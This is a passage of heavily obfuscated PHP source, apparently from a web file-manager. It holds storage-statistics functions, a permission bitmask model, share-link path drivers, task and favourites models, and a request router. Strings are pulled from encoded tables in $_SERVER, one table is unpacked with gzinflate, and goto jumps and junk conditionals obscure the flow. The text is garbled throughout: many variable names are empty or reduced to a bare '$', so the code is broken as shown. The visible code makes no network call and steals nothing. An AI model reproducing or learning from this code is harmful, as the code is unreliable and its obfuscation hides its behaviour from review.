Model($ת[870])->where($Σđ)->count($ת[183]); return array($ת[808] => $, $ת[1838] => $, $ת[1870] => $ - $, $ת[1871] => (int) $܊, $ת[810] => (int) $ͪ, $ת[1872] => (int) $Ҟƛ); } private function optionAccess() { $؏ =& $_SERVER[砐]; return array($؏[803] => $this->typeLogCnt(), $؏[109] => $this->typeLogCnt($؏[109]), $؏[495] => $this->typeLogCnt($؏[495]), $؏[1873] => $this->typeLogCnt($؏[1873]), $؏[1874] => $this->typeLogCnt($؏[1874]), $؏[632] => $this->typeLogCnt($؏[12], $؏[1849])); } private function typeLogCnt($ = '', $ƙ = "\151\x64") { $ =& $_SERVER[砐]; $ = array($[109] => array($[1875], $[1876]), $[495] => array($[1877], $[1878]), $[1873] => array($[1879], $[1880], $[1881]), $[1874] => array($[1882], $[1883]), $[1884] => array($[1885], $[1886], $[1887])); $с = strtotime(date($[1845])); $ĒϾ = array($[217] => array($[1065], $с)); if ($) { $ĒϾ[$[33]] = array($[7], $[$]); } $ƫ = Model($[1848])->where($ĒϾ)->count($ƙ); return (int) $ƫ; } private function optionServer() { $ =& $_SERVER[砐]; $ = $this->diskDriver(); $ֻ䰼 = KodIO::defaultDriver(); $藰 = array($[862] => $ֻ䰼[$[445]]); $蕻 = Model($[514])->where($藰)->sum($[78]); $ᜣ = explode($[53], $_SERVER[$[146]]); $픛 = $ᜣ[0]; $‚ = $GLOBALS[$[6]][$[21]]; $ćΖ = $‚[$[1027]]; if ($ćΖ == $[1015]) { $ϸ = explode($[1333], $‚[$[1026]]); $ćΖ = $ϸ[0]; } if ($ćΖ == $[963] || $ćΖ == $[849]) { $ = Model()->db()->query($[1888]); $ = $[0] && isset($[0][$[1592]]) ? $[0][$[1592]] : 0; $ćΖ = $[1889] . ($ ? $[8] . $ : $[12]); } $Ǯ̪ = $GLOBALS[$[6]][$[395]][$[872]]; return array($[1890] => $ ? $[$[1891]] : 0, $[1892] => $ ? $[$[1893]] : 0, $[1894] => (int) $ֻ䰼[$[1891]] * 1024 * 1024 * 1024, $[1895] => (int) $蕻, $[1896] => ucfirst($픛), $[1897] => $[1898] . PHP_VERSION, $[1899] => phpBuild64() ? 64 : 32, $[802] => str_replace($[1181], $[1043], $ćΖ), $[395] => ucfirst($Ǯ̪), $[32] => $_SERVER[$[1900]]); } private function diskDriver() { $ʺ =& $_SERVER[砐]; $ = $ʺ[8]; $ܵ = $GLOBALS[$ʺ[6]][$ʺ[1350]] == $ʺ[1351]; if ($ܵ) { $ = $ʺ[1901]; if (function_exists($ʺ[1902])) { exec($ʺ[1903], $); $ = $[1] . $ʺ[8]; } } if (!file_exists($)) { return; } $ƫ = @disk_total_space($); $Ł = $ƫ - @disk_free_space($); return array($ʺ[1891] => $ƫ, $ʺ[1893] => $Ł); } public function fileChart($) { $ֺ =& $_SERVER[砐]; if (isset($[$ֺ[1705]])) { return Model($ֺ[870])->userFileTypeProfile($[$ֺ[1705]]); } if (isset($[$ֺ[1904]])) { return Model($ֺ[870])->groupFileTypeProfile($[$ֺ[1904]]); } $ϋ = $this->sourceSize(); $Ǻ = array($ֺ[182] => 0, $ֺ[180] => 1); $É = Model($ֺ[870])->where($Ǻ)->sum($ֺ[78]); $Ǻ[$ֺ[180]] = 2; $ڠ = Model($ֺ[870])->where($Ǻ)->sum($ֺ[78]); return array($ֺ[808] => $ϋ[$ֺ[78]], $ֺ[1838] => $ϋ[$ֺ[1838]], $ֺ[1839] => (int) $É, $ֺ[1840] => (int) $ڠ); } private function sourceSize() { $ɫ =& $_SERVER[砐]; $ = Model($ɫ[870])->where(array($ɫ[455] => 0))->sum($ɫ[78]); $Ͽ = Model($ɫ[514])->sum($ɫ[78]); if ($Ͽ > $) { $Ͽ = $; } return array($ɫ[78] => (int) $, $ɫ[1838] => (int) $Ͽ); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $̬ =& $_SERVER[砐]; $Ї㧕 = array(array($̬[464] => LNG($̬[1905]), $̬[1906] => $̬[1907], $̬[1908] => 1, $̬[1909] => 1, $̬[1910] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($̬[464] => LNG($̬[1911]), $̬[1906] => $̬[1912], $̬[1908] => 2, $̬[1909] => 1, $̬[1910] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($̬[464] => LNG($̬[1913]), $̬[1906] => $̬[1914], $̬[1908] => 3, $̬[1909] => 1, $̬[1910] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($̬[464] => LNG($̬[1915]), $̬[1906] => $̬[1916], $̬[1908] => 4, $̬[1909] => 1, $̬[1910] => self::AUTH_SHOW | self::AUTH_VIEW), array($̬[464] => LNG($̬[1917]), $̬[1906] => $̬[1918], $̬[1908] => 5, $̬[1909] => 1, $̬[1910] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($̬[464] => LNG($̬[1919]), $̬[1906] => $̬[1920], $̬[1908] => 6, $̬[1909] => 1, $̬[1910] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($̬[464] => LNG($̬[1921]), $̬[1906] => $̬[1922], $̬[1908] => 7, $̬[1909] => 1, $̬[1910] => 0)); return $Ї㧕; } public static function authCheck($Ʃ, $͞) { $͌ =& $_SERVER[砐]; $Ʃ = intval($Ʃ); if (KodUser::isRoot() && $GLOBALS[$͌[6]][$͌[1923]]) { return !0; } if ($Ʃ <= 0) { return !1; } if (($Ʃ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($Ʃ & $͞); } public static function authCheckShow($Ё) { return self::authCheck($Ё, self::AUTH_SHOW); } public static function authCheckView($ͤ) { return self::authCheck($ͤ, self::AUTH_VIEW); } public static function authCheckDownload($ ) { return self::authCheck($ , self::AUTH_DOWNLOAD); } public static function authCheckUpload($) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($Ì) { return self::authCheck($Ì, self::AUTH_REMOVE); } public static function authCheckShare($ʍ) { return self::authCheck($ʍ, self::AUTH_SHARE); } public static function authCheckComment($ڍ) { return self::authCheck($ڍ, self::AUTH_COMMENT); } public static function authCheckEvent($ꁸ) { return self::authCheck($ꁸ, self::AUTH_EVENT); } public static function authCheckRoot($Ň) { return self::authCheck($Ň, self::AUTH_ROOT); } public static function authCheckAction($܉, $) { $Ԡ嗝 =& $_SERVER[砐]; $å = array($Ԡ嗝[1924] => self::AUTH_VIEW, $Ԡ嗝[1245] => self::AUTH_DOWNLOAD, $Ԡ嗝[109] => self::AUTH_UPLOAD, $Ԡ嗝[1874] => self::AUTH_EDIT, $Ԡ嗝[1873] => self::AUTH_REMOVE, $Ԡ嗝[1884] => self::AUTH_SHARE, $Ԡ嗝[400] => self::AUTH_COMMENT, $Ԡ嗝[1693] => self::AUTH_EVENT, $Ԡ嗝[1925] => self::AUTH_ROOT); if (!isset($å[$])) { return; } $Ų = $å[$]; $܉ = intval($܉); if ($܉ <= 0) { return !1; } if (($܉ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($܉ & $Ų); } public static function authDisable($ɑ, $򟦪ǥ) { if (intval($ɑ) <= 0) { return 0; } return intval($ɑ) & ~$򟦪ǥ; } public $optionType = "\x53\x79\163\x74\145\x6d\x2e\163\157\165\162\143\145\x41\x75\x74\x68\x4c\151\x73\x74"; public $field = array("\x6e\141\155\145", "\141\x75\x74\150", "\154\141\x62\145\x6c", "\x64\x69\163\x70\x6c\x61\171", "\x73\x79\x73\x74\x65\155", "\163\157\x72\164"); public function initData() { $ۦ = $this->authDefault(); foreach ($ۦ as $ڕ) { $this->add($ڕ); } } public function findAuth($, $ʣ踛) { $˫ =& $_SERVER[砐]; $Ԁ = parent::listData(); foreach ($Ԁ as $²) { $Ӿ = intval($²[$˫[457]]); if ($Ӿ <= 0 || $²[$˫[1926]] == 0) { continue; } if (($Ӿ & $) != $) { continue; } if (($Ӿ & $ʣ踛) != 0) { continue; } return $²[$˫[445]]; } return !1; } public function findAuthReadOnly() { $Т = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ĺ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($Т, $ĺ); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ǒ =& $_SERVER[砐]; $ = parent::listData(); $ = !1; foreach ($ as $) { if ($[$ǒ[457]] <= 0 || $[$ǒ[1926]] == $ǒ[214]) { continue; } if (!$) { $ = $; continue; } if ($[$ǒ[457]] > $[$ǒ[457]]) { $ = $; } } return $ ? $[$ǒ[445]] : $ǒ[12]; } public function listData($Ł = false, $ޯ = "\163\157\x72\x74", $ = false) { return parent::listData($Ł, $ޯ, $); } public function update($ꓛ, $ͬ) { $ =& $_SERVER[砐]; $ = parent::listData($ꓛ); $ = $this->findByName($ͬ[$[32]]); if (!$ || $ && $[$[445]] != $[$[445]]) { return !1; } $this->filterAuth($ͬ[$[457]]); return parent::update($ꓛ, $ͬ); } public function remove($ǔ) { $ = parent::listData($ǔ); if (!$ || $[$_SERVER[砐][181]]) { return !1; } return parent::remove($ǔ); } public function add($銃 = array()) { $ֶ =& $_SERVER[砐]; if ($this->findByName($銃[$ֶ[32]])) { return !1; } $ɕ = array($ֶ[32] => $ֶ[12], $ֶ[457] => 1, $ֶ[1927] => $ֶ[1914], $ֶ[1926] => 1, $ֶ[181] => 0, $ֶ[1928] => 0); $銃 = array_merge($ɕ, $銃); $銃[$ֶ[1928]] = $this->getSort(); $this->filterAuth($銃[$ֶ[457]]); return parent::insert($銃); } private function getSort() { $¼ؘ =& $_SERVER[砐]; $ʆ = parent::listData(); $⛠ = array_to_keyvalue($ʆ, $¼ؘ[12], $¼ؘ[1928]); return empty($⛠) ? 0 : max($⛠) + 1; } private function filterAuth(&$֚) { if (!$֚) { return; } $ׂ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ׂ as $ݠ) { if ($֚ & $ݠ) { $[] = $ݠ; } } if (in_array(self::AUTH_ROOT, $)) { $֚ = array_sum($ׂ); return; } $욽ʿ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $ݠ) { if (isset($욽ʿ[$ݠ])) { $ = array_merge($, $욽ʿ[$ݠ]); } } $[] = self::AUTH_SHOW; $֚ = array_sum(array_unique($)); } public function sort($ҚȎ, $ȯ) { return parent::update($ҚȎ, $ȯ); } } goto c΄; D: class PathDriverDbShareLink extends PathDriverDB { public function __construct($ŷ) { $this->pathParse = $ŷ; $this->model = Model($_SERVER[砐][1384]); } protected function infoParse($, $񵃶 = false, $ר = false) { $ =& $_SERVER[砐]; return Action($[1225])->sharePathInfo($this->pathParse[$[86]], !0, $񵃶); } public function listPath($ɦ, $ƾ = false) { $Ŗ =& $_SERVER[砐]; $ = parent::listPath($ɦ, $ƾ); if (!$) { return $; } if (is_array($[$Ŗ[1392]])) { $[$Ŗ[1392]] = Action($Ŗ[1225])->shareItemInfo($[$Ŗ[1392]]); } foreach ($ as $ܵ => $Ր) { if (!in_array($ܵ, array($Ŗ[85], $Ŗ[84]))) { continue; } foreach ($Ր as $ => $) { $[$ܵ][$] = Action($Ŗ[1225])->shareItemInfo($); } } return $; } public function listAll($Ȁ) { $ɤ =& $_SERVER[砐]; $̝ = IO::info($this->pathParse[$ɤ[86]]); if (!$̝) { return array(); } $، = $this->model->listAll($Ȁ); foreach ($، as &$܉) { $܉[$ɤ[89]] = Action($ɤ[1225])->shareItemInfo($܉[$ɤ[89]]); } unset($܉); return $،; } } class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($, $ك) { $ =& $_SERVER[砐]; if (method_exists($this, $)) { return; } $ = call_user_func_array(array($[1393], $), $ك); $ = array($[1394], $[1395], $[1396], $[1397], $[588], $[590], $[1398], $[109], $[1399], $[1400]); if (in_array($, $)) { $ = $this->getPathOuter($); } return $; } public function copy($, $ҽ, $ӈ = false, $ܐԝ = false) { return $this->copyMove($, $ҽ, $ӈ, $_SERVER[砐][588], $ܐԝ); } public function move($ǐ, $߽, $ = false, $ = false) { return $this->copyMove($ǐ, $߽, $, $_SERVER[砐][590], $); } private function copyMove($, $ݚ, $, $ږ, $ = false) { $ =& $_SERVER[砐]; $АϚ = $ݚ; $ = IO::driverMake($ݚ); if ($->pathParse[$[1202]]) { $ݚ = $->pathParse[$[1202]]; } else { $ݚ = $АϚ; } $ٟ = IO::copyMove($, $ݚ, $, $ږ, $); $ٟ = $this->getPathOuter($ٟ); return $ٟ; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[砐][86]]); } public function pathFather($) { return get_path_father($this->pathParse[$_SERVER[砐][86]]); } public function iconvSystem($ȵ) { return $ȵ; } protected function infoParse($, $ = false) { $ =& $_SERVER[砐]; $ = $this->pathParse[$[531]][$[1226]] . $this->pathParse[$[1219]]; if ($) { $͗ = IO::infoWithChildren($); } else { $͗ = IO::info($); } $Ω = $this->pathParse[$[531]]; return Action($[1391])->_shareItemeParse($͗, $Ω); } public function listAll($) { $ =& $_SERVER[砐]; $ = IO::listAll($); $ѓ = rtrim($this->pathParse[$[531]][$[1226]], $[8]); foreach ($ as &$ؼ) { $ؼ[$[86]] = $this->pathDriver . $[8] . ltrim(substr($ؼ[$[86]], strlen($ѓ)), $[8]); } unset($ؼ); return $; } public function listAllSimple($, $מ = false) { $沕҈ =& $_SERVER[砐]; $ = $this->listAll($); $ = $this->pathParse[$沕҈[465]]; if (trim($, $沕҈[8]) == trim(get_path_father($), $沕҈[8])) { $מ = !0; } return IO::init($沕҈[12])->listAllSimpleMake($, $, $מ); } public function getPathOuter($쏾) { $ =& $_SERVER[砐]; $ = KodIO::parse($쏾); if ($[$[33]] == KodIO::KOD_SHARE_ITEM) { return $[$[86]]; } $ܤݩ = KodIO::clear($쏾); $غ = KodIO::clear($this->pathParse[$[531]][$[1226]]); $°Ͼ = substr($ܤݩ, strlen($غ)); if (substr($ܤݩ, 0, strlen($غ)) != $غ) { return !1; } return $this->pathParse[$[1220]] . $[8] . ltrim($°Ͼ, $[8]); } public function getType() { $ζ =& $_SERVER[砐]; $ = str_replace($ζ[76], $ζ[12], get_class($this)); return strtolower($); } public function isTypeObject($) { return IO::isTypeObject($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($ۤ) { return $this->infoParse($ۤ, !0); } public function infoFull($) { return $this->infoParse($); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($﷎) { $this->pathParse = $﷎; } protected function infoParse($ܲ敺, $ַ = false) { $ =& $_SERVER[砐]; return Action($[1225])->sharePathInfo($this->pathParse[$[86]], !0, $ַ); } public function listPath($ω, $ȣ = false) { $ =& $_SERVER[砐]; $Ē = IO::listPath($ω, $ȣ); if (!$Ē) { return $Ē; } if (is_array($Ē[$[1392]])) { $ = Action($[1401])->parsePathChildren($Ē[$[1392]], array($[465] => $ω)); $Ē[$[1392]] = Action($[1225])->shareItemInfo($); } foreach ($Ē as $Ӣ => $֧) { if (!in_array($Ӣ, array($[85], $[84]))) { continue; } foreach ($֧ as $﫰 => $) { $ = Action($[1401])->parsePathChildren($, array($[465] => $ω)); $Ē[$Ӣ][$﫰] = Action($[1225])->shareItemInfo($); } } return $Ē; } } goto f; AȐ: class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\145\x6d\x2e\x74\x61\163\x6b\x4c\151\163\164"; public $field = array("\x6e\141\x6d\145", "\x74\x79\160\145", "\145\166\145\x6e\164", "\164\151\155\x65", "\144\145\x73\x63", "\163\171\163\164\x65\155", "\145\x6e\x61\x62\x6c\x65", "\154\x61\163\164\122\165\156", "\x73\157\162\164"); public function listData($ = false, $ = "\163\x6f\162\164", $ = false) { return parent::listData($, $, $); } public function add($) { $ =& $_SERVER[砐]; $ݬ = $this->findByName($[$[32]]); if ($ݬ) { return !1; } $[$[1656]] = 0; $[$[1928]] = $this->getSort(); return parent::insert($); } private function getSort() { $ޞ =& $_SERVER[砐]; $߿ = parent::listData(); $ߧ = array_to_keyvalue($߿, $ޞ[12], $ޞ[1928]); return empty($ߧ) ? 0 : max($ߧ) + 1; } public function update($َ, $ģ) { $Ś =& $_SERVER[砐]; $ = $this->listData($َ); $а = $this->findByName($ģ[$Ś[32]]); if (!$ || $а && $а[$Ś[445]] != $[$Ś[445]]) { return !1; } return parent::update($َ, $ģ); } public function remove($ͨ, $쯢 = false) { $ =& $_SERVER[砐]; $ = $this->listData($ͨ); if (!$) { return; } if (!$쯢 && $[$[181]] == $[90]) { return !1; } return parent::remove($ͨ); } public function enable($ˑ, $ijʕ) { return $this->update($ˑ, array($_SERVER[砐][2342] => $ijʕ)); } public function run($Ѧ) { return $this->update($Ѧ, array($_SERVER[砐][2354] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\163\145\x72\137\x66\x61\x76"; protected function cacheFunctionAlias($š) { $봘 =& $_SERVER[砐]; return array($봘[2015] => array(USER_ID, $봘[2355])); } protected function listData() { $é =& $_SERVER[砐]; $܅Ӯ = array($é[1696] => USER_ID, $é[528] => 0); $ = $é[2356]; $ = $this->field($)->where($܅Ӯ)->order($é[2357])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ӳ =& $_SERVER[砐]; $ޣ = $this->listData(); $ = array_filter_by_field($ޣ, $ӳ[33], $ӳ[460]); $Ǯ = array_to_keyvalue($, $ӳ[12], $ӳ[86]); if (!$Ǯ) { return $ޣ; } $ܗ = 2000; $ߺի = array($ӳ[461] => array($ӳ[462], $Ǯ)); $߹ = Model($ӳ[870])->listSource($ߺի, $ܗ); $߹ = array_merge($߹[$ӳ[85]], $߹[$ӳ[84]]); $߹ = array_to_keyvalue($߹, $ӳ[183]); foreach ($ޣ as $ => $֞ގ) { $Ĺ = $߹[$֞ގ[$ӳ[86]]]; $Ĺ = $Ĺ ? $Ĺ : array(); $ޣ[$] = array_merge($Ĺ, $֞ގ); } return $ޣ; } protected function addFav($, $е = '', $Ŝ = "\163\x6f\165\x72\x63\145") { $ =& $_SERVER[砐]; $ݩ픧 = array($[1696] => USER_ID, $[528] => 0, $[466] => $Ŝ, $[465] => $); if ($this->where($ݩ픧)->find()) { return !1; } $ݩ픧 = array($[1696] => USER_ID, $[528] => 0); $떤 = $this->where($ݩ픧)->max($[1928]); if (!$떤) { $떤 = 0; } if (!$е && $Ŝ == $[460]) { $ = Model($[1384])->where(array($[461] => $))->find(); if (!$) { return !1; } $е = $[$[32]]; } $е = $this->getAutoName($е); $ʚ§ = array($[1696] => USER_ID, $[528] => 0, $[464] => $е, $[465] => $, $[466] => $Ŝ, $[1908] => $떤 + 1); return $this->add($ʚ§); } protected function remove($׾) { $ȝ =& $_SERVER[砐]; $ܖܔ = array($ȝ[1696] => USER_ID, $ȝ[463] => $׾); return $this->where($ܖܔ)->delete(); } protected function removeByName($) { $ޛ =& $_SERVER[砐]; $Š = array($ޛ[1696] => USER_ID, $ޛ[464] => $, $ޛ[528] => 0); return $this->where($Š)->delete(); } protected function rename($, $Üۺ) { $ʊ =& $_SERVER[砐]; if ($ == $Üۺ) { return !1; } $ = $this->getAutoName($Üۺ); if ($Üۺ != $) { return !1; } $ = array($ʊ[1696] => USER_ID, $ʊ[528] => 0, $ʊ[32] => $); return $this->where($)->save(array($ʊ[32] => $Üۺ)); } protected function resetSort($) { $魢 =& $_SERVER[砐]; $ = is_array($) ? $ : array(); $ = array($魢[1696] => USER_ID); for ($ = 0; $ < count($); $++) { $[$魢[463]] = $[$]; $this->where($)->save(array($魢[1908] => $ + 1)); } return !0; } protected function moveTop($) { $Ȩ =& $_SERVER[砐]; $Þ = array($Ȩ[1696] => USER_ID, $Ȩ[528] => 0); $Ūގ = $this->where($Þ)->where(array($Ȩ[32] => $))->find(); if (!$Ūގ) { return; } $ڿ = $this->field($Ȩ[445])->where($Þ)->order($Ȩ[2357])->select(); $ڿ = array_to_keyvalue($ڿ, $Ȩ[12], $Ȩ[445]); $ = $ڿ; $ڿ = array_remove_value($ڿ, $Ūގ[$Ȩ[445]]); array_unshift($ڿ, $Ūގ[$Ȩ[445]]); return $this->resetSort($ڿ); } protected function moveBottom($) { $ =& $_SERVER[砐]; $ْ = array($[1696] => USER_ID, $[528] => 0); $ = $this->where($ْ)->max($[1928]); $ = array($[1928] => $ + 1); return $this->where($ْ)->where(array($[32] => $))->save($); } private function getAutoName($) { $ =& $_SERVER[砐]; $ = array($[1696] => USER_ID, $[528] => 0); $ = $this->field($[32])->where($)->select(); $ = array_to_keyvalue($, $[12], $[32]); if (!$ || !in_array($, $)) { return $; } for ($۾ή = 0; $۾ή < count($); $۾ή++) { if (!in_array($ . "\50{$۾ή}\x29", $)) { return $ . "\50{$۾ή}\x29"; } } return $ . "\x28{$۾ή}\51"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\x65\155\56\x6a\x6f\x62\114\151\163\x74"; public $field = array("\156\x61\155\145", "\144\x65\163\143", "\163\157\x72\164"); const JOB_KEY = "\163\x65\154\146\112\157\142\114\x69\x73\164"; public function listData($ = false, $ = "\163\x6f\x72\164", $Ă = false) { return parent::listData($, $, $Ă); } public function remove($޼) { return parent::remove($޼); } public function add($ŭ) { $ =& $_SERVER[砐]; if ($this->findByName($ŭ[$[32]])) { return !1; } $ŭ[$[1928]] = $this->getSort(); return parent::insert($ŭ); } private function getSort() { $ =& $_SERVER[砐]; $򋃿 = parent::listData(); $ = array_to_keyvalue($򋃿, $[12], $[1928]); return empty($) ? 0 : max($) + 1; } public function update($ʃ, $ɨǷ) { $ =& $_SERVER[砐]; $⹉ = parent::listData($ʃ); $ = $this->findByName($ɨǷ[$[32]]); if (!$⹉ || $ && $[$[445]] != $⹉[$[445]]) { return !1; } return parent::update($ʃ, $ɨǷ); } public function setUserJob($, $¡) { $ޱ =& $_SERVER[砐]; if (!is_array($¡)) { $¡ = array($¡); } $ = parent::listData(); $ = array_to_keyvalue($, $ޱ[32]); $ފ = $ޱ[424]; foreach ($¡ as $ʬ) { if ($[$ʬ]) { $ފ .= $[$ʬ][$ޱ[445]] . $ޱ[50]; } else { $嵟 = $this->add($ʬ); $ފ .= $嵟 . $ޱ[50]; } } $ފ = rtrim($ފ, $ޱ[50]); Model($ޱ[569])->metaSet($, self::JOB_KEY, $ފ); } public function getUserJob($þ) { $Ԩէ = Model($_SERVER[砐][569])->metaGet($þ); return $this->getUserJobInfo($Ԩէ[self::JOB_KEY]); } public function getUserJobInfo($謱) { $ =& $_SERVER[砐]; $볐 = explode($[50], $謱); $ = parent::listData(); $ = array_remove_key($, $[217]); $ⷱ = array(); foreach ($볐 as $֑) { if (isset($[$֑])) { $ⷱ[] = $[$֑]; } } return $ⷱ; } } goto E󂦿; D𛋤Ģ: $_SERVER[͑] = explode($_SERVER[砐][650], gzinflate(substr($_SERVER[砐][651], 10, -8))); $jhtbkxrswv = $_SERVER[砐][652]; class Application { private $defaultModule = "\151\x6e\144\x65\x78"; private $defaultController = "\151\x6e\144\x65\x78"; private $defaultAction = "\151\156\144\145\170"; function __construct() { } public function setDefault($隢) { $ =& $_SERVER[砐]; $򳮔 =& $_SERVER[͑]; $ = explode($򳮔[0], trim($隢, $򳮔[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $ڪ = $[653]; if (!$ڪ) { return; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $ó = $[654]; $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $ܲ = $[655]; if (!$ܲ) { return; } $this->cxrff5f5dc5f($򳮔[1], array($this, $򳮔[2])); $̘ = $[656]; if (strlen($̘) < $[657]) { return; } } public function appRun($륬) { $ =& $_SERVER[砐]; $Ы =& $_SERVER[͑]; $إ = explode($Ы[0], $륬); $岑 = $[658]; if (!$岑) { return; } $ۿ = strtolower($إ[0]); $ = $[659]; if (!$) { die; } $ͱ = $Ы[3]; if ($ۿ == $Ы[4]) { $ͱ = $Ы[5]; $إ[0] = $Ы[6]; $إ[1] = $إ[1] . $Ы[7]; $륬 = join($Ы[0], $إ); $륬 = trim($륬, $Ы[0]); } call_user_func(array($Ы[8], $Ы[9]), $ͱ . $Ы[10], $륬); ActionCall($륬); $ȡ̼ = $[660]; while (strlen($ȡ̼) < $[661]) { if (!$ȡ̼) { break; } $ȡ̼++; } call_user_func(array($Ы[8], $Ы[9]), $ͱ . $Ы[11], $륬); $њ = $[662]; } private function autorun() { $恵 =& $_SERVER[͑]; global $config; $ꅜ = $_SERVER[砐][663]; if (!$ꅜ) { return; } if (count($config[$恵[12]]) == 0) { return; } foreach ($config[$恵[12]] as $ => $؋Ѷ) { $this->appRun($؋Ѷ); } } private function yqpx0cd51b7c() { $ =& $_SERVER[砐]; $Ҷ =& $_SERVER[͑]; $㚲 = $Ҷ[4]; $ = $[664]; if (strlen($) < $[661]) { die; } $ = $GLOBALS[$Ҷ[13]][$Ҷ[14]][0]; $޺ = $[665]; if (!$ || strlen($) <= strlen($㚲)) { return; } if (strtolower(substr($, -strlen($㚲))) != $㚲) { return; } $ߍ = substr($, 0, -strlen($㚲)); $æ = $[666]; $֓ = array($Ҷ[4], $ߍ); $ꑥ = $[667]; if (!$ꑥ) { die; } $Æ = array_slice($GLOBALS[$Ҷ[13]][$Ҷ[14]], 1); $GLOBALS[$Ҷ[13]][$Ҷ[14]] = array_merge($֓, $Æ); $ = $[668]; while (strlen($) < $[669]) { if (!$) { break; } $++; } $GLOBALS[$Ҷ[13]][$Ҷ[15]] = implode($Ҷ[0], $GLOBALS[$Ҷ[13]][$Ҷ[14]]); } private function lpas50318890() { $ɫ =& $_SERVER[砐]; $̛ =& $_SERVER[͑]; if ($GLOBALS[$̛[13]][$̛[15]] != $̛[6]) { return; } $ = $_SERVER[$̛[16]]; $촤 = $̛[17]; $ = $ɫ[670]; if (strlen($) < $ɫ[671]) { return; } if (!strstr($, $촤)) { return; } $¼ = strrpos($, $촤); $Ď = $ɫ[672]; $ۈ = substr($, $¼ + strlen($촤)); preg_match_all($̛[18], $ۈ, $); $麢 = $ɫ[673]; $ۈ = trim($[0][0], $̛[19]); $ɰ = $ɫ[674]; $GLOBALS[$̛[13]][$̛[14]] = explode($̛[19], $ۈ); $Ӆ = $ɫ[675]; if (strlen($Ӆ) < $ɫ[657]) { return; } $GLOBALS[$̛[13]][$̛[15]] = implode($̛[0], $GLOBALS[$̛[13]][$̛[14]]); } public function run() { $ƹ =& $_SERVER[砐]; $ =& $_SERVER[͑]; $this->lpas50318890(); $ҝ = $ƹ[676]; if (strlen($ҝ) < $ƹ[671]) { return; } $this->yqpx0cd51b7c(); $ݑğ = $GLOBALS[$[13]][$[14]]; $ = $ƹ[677]; if (!$) { return; } $ = $GLOBALS[$[13]][$[15]]; $ = $ƹ[678]; if (!$) { return; } define($[20], isset($ݑğ[0]) && $ݑğ[0] ? $ݑğ[0] : $this->defaultModule); $ = $ƹ[679]; define($[21], isset($ݑğ[1]) && $ݑğ[0] ? $ݑğ[1] : $this->defaultController); $ӑ = $ƹ[680]; if (strlen($ӑ) < $ƹ[661]) { die; } define($[22], isset($ݑğ[2]) && $ݑğ[0] ? $ݑğ[2] : $this->defaultAction); $׻Ґ = $ƹ[681]; while ($׻Ґ < $ƹ[657]) { if ($׻Ґ >= 0) { break; } $׻Ґ++; } define($[23], MOD . $[0] . ST . $[0] . ACT); $ז = $ƹ[682]; if (!$ז) { die; } $_SERVER[$[24]] = strtolower(ACTION); $ = $ƹ[683]; $this->autorun(); $ = $ƹ[684]; if (strlen($) < $ƹ[657]) { return; } if (count($ݑğ) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } } private $rdwocac763cc = array(); private $goeu038097d5 = ''; public function cevd71657227() { $ҫ =& $_SERVER[砐]; $ݦζ =& $_SERVER[͑]; $this->zjird0006078(); $this->wtcj6d77772b(); $this->fgqs986e2050(); $this->ihgtc55c857f(); $ = $ҫ[685]; if (!$) { die; } $this->eudrb72b712a(); $this->ojvn91111d71(); $ɽȎ = $ҫ[686]; if (strlen($ɽȎ) < $ҫ[657]) { die; } $this->apju5eed77de(); 